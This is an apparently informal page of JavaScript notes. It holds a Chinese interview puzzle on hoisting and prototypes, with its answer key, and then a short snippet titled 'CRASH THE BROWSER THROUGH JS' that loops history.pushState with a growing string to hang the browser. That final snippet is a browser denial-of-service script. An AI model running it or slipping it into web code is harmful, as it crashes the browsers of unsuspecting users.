MVC requirejs/AMD
js面试题围观
function Foo() {
getName = function () { alert (1); };
return this;
}
Foo.getName = function () { alert (2);};
Foo.prototype.getName = function () { alert (3);};
var getName = function () { alert (4);};
function getName() { alert (5);}
//答案:
Foo.getName();//2
getName();//4
Foo().getName();//1
getName();//1
new Foo.getName();//2
new Foo().getName();//3
new new Foo().getName();//3
CRASH THE BROWSER THROUGH JS
var total="";
for (var i=0;i<1000000;i++)
{
total= total+i.toString ();
history.pushState (0,0,total);
}